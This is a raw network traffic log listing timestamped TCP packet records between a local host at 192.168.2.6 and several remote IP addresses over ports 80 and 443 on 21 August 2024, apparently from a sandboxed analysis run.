Aug 21, 2024 08:32:14.619921923 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.619959116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.619976044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620001078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620007038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620011091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620016098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620039940 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620054960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620069981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620075941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620086908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620121956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620165110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620171070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620181084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620187044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620210886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620222092 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620699883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620706081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620718002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620748043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620764971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620770931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620783091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620789051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620795012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.620817900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620839119 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.620994091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621000051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621010065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621046066 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621072054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621078014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621088028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621099949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621113062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621126890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621153116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621175051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621180058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621186972 CEST	80	49721	194.58.114.223	192.168.2.6
Aug 21, 2024 08:32:14.621191978 CEST	80	49721	194.58.114.223	192.168.2.6
Aug 21, 2024 08:32:14.621232033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621232986 CEST	49721	80	192.168.2.6	194.58.114.223
Aug 21, 2024 08:32:14.621247053 CEST	49721	80	192.168.2.6	194.58.114.223
Aug 21, 2024 08:32:14.621305943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621310949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621323109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621329069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621334076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621345997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621351957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621392965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621437073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621442080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621454000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621479034 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621490955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621575117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621582031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621587038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621592045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621597052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621603012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621615887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621617079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621622086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621628046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621640921 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621656895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621668100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.621963024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621968985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.621979952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622010946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.622035027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.622051001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622062922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622065067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622070074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622075081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622108936 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.622178078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622184038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622210026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622221947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.622246027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.622275114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622283936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622286081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622294903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622312069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.622325897 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.622610092 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.622637033 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.622711897 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.622922897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622937918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622945070 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.622956991 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.622963905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.622968912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.623004913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.623059034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623064041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623075008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623080969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623104095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.623133898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.623167038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623218060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.623231888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623238087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623274088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.623291969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623305082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623310089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623316050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623325109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.623327971 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.623353958 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.665576935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665652990 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.665730000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665743113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665754080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665759087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665765047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665776014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665782928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665786982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665791988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665797949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665803909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665803909 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.665812016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665817976 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665824890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.665864944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.665889025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666326046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666332006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666348934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666356087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666397095 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666414976 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666421890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666423082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666434050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666438103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666443110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666471004 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666493893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666513920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666523933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666528940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666541100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666570902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666577101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666584015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666589975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666595936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666600943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666614056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666615009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666646004 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666719913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666724920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666735888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666740894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666745901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666752100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666779041 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666779995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666811943 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.666948080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666963100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666966915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666977882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666984081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.666990995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667011976 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667040110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667093992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667099953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667149067 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667152882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667160034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667171001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667206049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667212009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667220116 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667249918 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667419910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667427063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667438030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667448044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667454004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667475939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667524099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667525053 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667525053 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667562008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667567968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667573929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667579889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667609930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667617083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667622089 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667627096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667634010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667639017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667669058 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667699099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667865992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667871952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667882919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667889118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667898893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667918921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667933941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667956114 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667958975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667965889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667973042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667975903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667979956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667988062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.667993069 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.667994022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668001890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668009043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668014050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668050051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668050051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668462992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668469906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668487072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668494940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668499947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668504953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668515921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668521881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668533087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668533087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668539047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668546915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668551922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668559074 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668577909 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668598890 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668756008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668761969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668772936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668778896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668785095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668798923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668809891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668816090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.668827057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668865919 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.668865919 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.669054985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669060946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669066906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669071913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669078112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669083118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669090033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669121981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.669152975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.669301033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669306993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669312954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669318914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669329882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669336081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669347048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.669363022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.669389009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.704536915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.704544067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.704550028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.704663038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705023050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705029011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705034971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705084085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705111980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705117941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705127954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705133915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705162048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705183029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705243111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705249071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705298901 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705326080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705332041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705343962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705348969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705374002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705379963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705380917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705385923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705411911 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705429077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705573082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705579996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705634117 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.705636024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705646038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705663919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705670118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705670118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.705674887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705693007 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.705724001 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.705888033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705899954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705905914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705918074 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705924988 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705935955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.705940962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705945969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705948114 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.705951929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705957890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.705967903 CEST	80	49722	162.241.203.25	192.168.2.6
